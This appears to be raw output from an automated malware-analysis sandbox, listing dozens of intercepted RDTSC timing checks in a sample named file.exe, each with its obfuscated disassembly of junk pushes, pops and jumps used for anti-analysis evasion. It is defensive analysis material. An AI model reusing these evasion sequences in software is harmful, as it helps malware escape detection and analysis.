Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54102A3 second address: 54102B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D71Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54102B3 second address: 5410319 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [75AB4538h] 0x0000000e jmp 00007FD9A93E11E6h 0x00000013 xor dword ptr [ebp-08h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov bx, 0190h 0x0000001d pushfd 0x0000001e jmp 00007FD9A93E11E9h 0x00000023 or si, BC16h 0x00000028 jmp 00007FD9A93E11E1h 0x0000002d popfd 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410319 second address: 5410336 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, 19h 0x00000005 mov bx, ax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD9A885D71Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410336 second address: 5410391 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 jmp 00007FD9A93E11E4h 0x0000000e mov dword ptr [esp], eax 0x00000011 jmp 00007FD9A93E11E0h 0x00000016 lea eax, dword ptr [ebp-10h] 0x00000019 pushad 0x0000001a movzx ecx, bx 0x0000001d mov ecx, ebx 0x0000001f popad 0x00000020 mov dword ptr fs:[00000000h], eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FD9A93E11E7h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410391 second address: 54103AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D729h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54103AE second address: 5410497 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-18h], esp 0x0000000c pushad 0x0000000d movzx ecx, bx 0x00000010 call 00007FD9A93E11E9h 0x00000015 pushfd 0x00000016 jmp 00007FD9A93E11E0h 0x0000001b jmp 00007FD9A93E11E5h 0x00000020 popfd 0x00000021 pop eax 0x00000022 popad 0x00000023 mov eax, dword ptr fs:[00000018h] 0x00000029 jmp 00007FD9A93E11E7h 0x0000002e mov ecx, dword ptr [eax+00000FDCh] 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007FD9A93E11E4h 0x0000003b jmp 00007FD9A93E11E5h 0x00000040 popfd 0x00000041 pushfd 0x00000042 jmp 00007FD9A93E11E0h 0x00000047 adc ecx, 53FFAD98h 0x0000004d jmp 00007FD9A93E11DBh 0x00000052 popfd 0x00000053 popad 0x00000054 test ecx, ecx 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 call 00007FD9A93E11E2h 0x0000005e pop ecx 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410497 second address: 54104D7 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FD9A885D71Bh 0x00000008 sbb cl, 0000000Eh 0x0000000b jmp 00007FD9A885D729h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 mov cx, di 0x00000017 popad 0x00000018 popad 0x00000019 jns 00007FD9A885D758h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov bl, ch 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54104D7 second address: 54104DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54104DC second address: 54104EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9A885D71Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54104EF second address: 54104F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54104F3 second address: 5410541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 add eax, ecx 0x0000000a jmp 00007FD9A885D725h 0x0000000f mov ecx, dword ptr [ebp+08h] 0x00000012 pushad 0x00000013 jmp 00007FD9A885D71Ch 0x00000018 mov dl, cl 0x0000001a popad 0x0000001b test ecx, ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FD9A885D728h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410541 second address: 5410547 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410547 second address: 541054B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54001AF second address: 54001B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54001B5 second address: 54001B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54001B9 second address: 54001F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FD9A93E11E0h 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FD9A93E11DAh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54001F6 second address: 54001FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54001FA second address: 5400200 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400200 second address: 5400206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400206 second address: 540020A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540020A second address: 5400259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 2Ch 0x0000000b pushad 0x0000000c movzx eax, dx 0x0000000f pushfd 0x00000010 jmp 00007FD9A885D727h 0x00000015 adc ax, 195Eh 0x0000001a jmp 00007FD9A885D729h 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, ebx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 mov esi, ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400259 second address: 540025E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540025E second address: 54002AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, DFh 0x00000005 call 00007FD9A885D71Dh 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov edx, 7BD9541Eh 0x00000017 pushfd 0x00000018 jmp 00007FD9A885D71Fh 0x0000001d or cx, 00CEh 0x00000022 jmp 00007FD9A885D729h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54002AD second address: 54002E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov esi, ebx 0x00000005 jmp 00007FD9A93E11E3h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebx 0x0000000e pushad 0x0000000f mov si, D1DBh 0x00000013 mov esi, 3F0CB0B7h 0x00000018 popad 0x00000019 xchg eax, edi 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d mov edi, 7622729Ah 0x00000022 jmp 00007FD9A93E11DBh 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54002E9 second address: 54002EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54002EF second address: 54002F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400454 second address: 5400458 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400458 second address: 5400462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400462 second address: 5400484 instructions: 0x00000000 rdtsc 0x00000002 mov di, DE62h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007FD9A885D722h 0x00000012 mov ah, 89h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400484 second address: 540048A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540048A second address: 540048E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54004F8 second address: 540050A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9A93E11DEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540050A second address: 5400538 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D71Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b js 00007FD9A885D7ACh 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD9A885D725h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400538 second address: 5400581 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD9A93E11E7h 0x00000008 pop eax 0x00000009 jmp 00007FD9A93E11E9h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 cmp dword ptr [ebp-14h], edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD9A93E11DDh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400581 second address: 5400591 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9A885D71Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400591 second address: 54005AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FDA19A3F0CFh 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 mov bl, al 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54005AD second address: 54005DA instructions: 0x00000000 rdtsc 0x00000002 mov si, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov bh, 5Ah 0x00000009 popad 0x0000000a mov ebx, dword ptr [ebp+08h] 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FD9A885D71Ah 0x00000016 or cx, 4B28h 0x0000001b jmp 00007FD9A885D71Bh 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54005DA second address: 5400639 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cl, dh 0x00000005 pushfd 0x00000006 jmp 00007FD9A93E11E0h 0x0000000b sub ah, FFFFFF88h 0x0000000e jmp 00007FD9A93E11DBh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 lea eax, dword ptr [ebp-2Ch] 0x0000001a pushad 0x0000001b call 00007FD9A93E11E4h 0x00000020 mov edx, ecx 0x00000022 pop eax 0x00000023 movsx edi, cx 0x00000026 popad 0x00000027 xchg eax, esi 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FD9A93E11E5h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400639 second address: 5400649 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9A885D71Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400649 second address: 54006E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FD9A93E11DEh 0x0000000e xchg eax, esi 0x0000000f pushad 0x00000010 mov si, 62FDh 0x00000014 pushfd 0x00000015 jmp 00007FD9A93E11DAh 0x0000001a jmp 00007FD9A93E11E5h 0x0000001f popfd 0x00000020 popad 0x00000021 nop 0x00000022 jmp 00007FD9A93E11DEh 0x00000027 push eax 0x00000028 pushad 0x00000029 movsx edi, si 0x0000002c mov si, F249h 0x00000030 popad 0x00000031 nop 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 pushfd 0x00000036 jmp 00007FD9A93E11E1h 0x0000003b xor eax, 532280D6h 0x00000041 jmp 00007FD9A93E11E1h 0x00000046 popfd 0x00000047 jmp 00007FD9A93E11E0h 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54006E0 second address: 5400768 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD9A885D721h 0x00000008 pop eax 0x00000009 mov si, dx 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push esi 0x00000010 pushad 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FD9A885D724h 0x00000018 sub ecx, 059FD088h 0x0000001e jmp 00007FD9A885D71Bh 0x00000023 popfd 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 pushfd 0x00000028 jmp 00007FD9A885D726h 0x0000002d add cx, 32E8h 0x00000032 jmp 00007FD9A885D71Bh 0x00000037 popfd 0x00000038 popad 0x00000039 mov dword ptr [esp], ebx 0x0000003c push eax 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FD9A885D720h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400768 second address: 540076E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540079F second address: 54007A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54007A3 second address: 54007A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54007A9 second address: 54007AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54007AF second address: 54007B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54007B3 second address: 54007DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a pushad 0x0000000b push eax 0x0000000c mov dh, F8h 0x0000000e pop eax 0x0000000f mov bx, F3C6h 0x00000013 popad 0x00000014 test esi, esi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD9A885D71Fh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54007DC second address: 54007E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54007E2 second address: 540000C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD9A885D722h 0x00000009 or ecx, 3B25EF98h 0x0000000f jmp 00007FD9A885D71Bh 0x00000014 popfd 0x00000015 mov edx, eax 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a je 00007FDA18EBB55Ch 0x00000020 xor eax, eax 0x00000022 jmp 00007FD9A8836E4Ah 0x00000027 pop esi 0x00000028 pop edi 0x00000029 pop ebx 0x0000002a leave 0x0000002b retn 0004h 0x0000002e nop 0x0000002f jmp 00007FD9A885D712h 0x00000031 cmp eax, 00000000h 0x00000034 setne cl 0x00000037 jmp 00007FD9A885D712h 0x00000039 xor ebx, ebx 0x0000003b test cl, 00000001h 0x0000003e jne 00007FD9A885D717h 0x00000040 jmp 00007FD9A885D830h 0x00000045 call 00007FD9AD98B5FCh 0x0000004a mov edi, edi 0x0000004c pushad 0x0000004d mov eax, 5DFB5EEDh 0x00000052 push eax 0x00000053 push edx 0x00000054 push eax 0x00000055 pop edi 0x00000056 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540000C second address: 540002D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD9A93E11E7h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540002D second address: 5400043 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 mov ah, bl 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 mov cx, BBFBh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400043 second address: 5400075 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD9A93E11E8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400075 second address: 540007B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 540007B second address: 54000B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD9A93E11DCh 0x00000008 mov dx, ax 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 jmp 00007FD9A93E11DCh 0x00000015 xchg eax, ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FD9A93E11E7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54000B8 second address: 54000BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54000BE second address: 54000C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54000C2 second address: 54000D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54000D0 second address: 5400106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FD9A93E11E9h 0x0000000a sbb ax, 9486h 0x0000000f jmp 00007FD9A93E11E1h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400D49 second address: 5400D61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9A885D724h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400D61 second address: 5400D8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FD9A93E11E5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400D8A second address: 5400DAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A885D721h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD9A885D71Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400DAE second address: 5400DB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400DB4 second address: 5400DB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400DB8 second address: 5400DF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11DDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FD9A93E11DEh 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007FD9A93E11DDh 0x0000001b mov ax, 97B7h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400DF1 second address: 5400E61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD9A885D723h 0x00000009 sbb ecx, 3A07D73Eh 0x0000000f jmp 00007FD9A885D729h 0x00000014 popfd 0x00000015 mov ch, BAh 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a cmp dword ptr [75AB459Ch], 05h 0x00000021 jmp 00007FD9A885D723h 0x00000026 je 00007FDA18EAB2CEh 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FD9A885D720h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400E61 second address: 5400E65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400E65 second address: 5400E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400E99 second address: 5400EAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 movsx edx, si 0x00000008 popad 0x00000009 push 5DA02DF9h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400EAD second address: 5400EB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400EB1 second address: 5400EB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400EB5 second address: 5400EBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400EBB second address: 5400EFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD9A93E11E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 180A6E2Fh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD9A93E11E8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400EFB second address: 5400F01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400F69 second address: 5400F79 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD9A93E11DCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5400F79 second address: 5400F7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410955 second address: 541095B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 541095B second address: 5410962 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, al 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5410962 second address: 541098E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007FD9A93E11DAh 0x0000000d xchg eax, ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FD9A93E11E7h 0x00000015 rdtsc
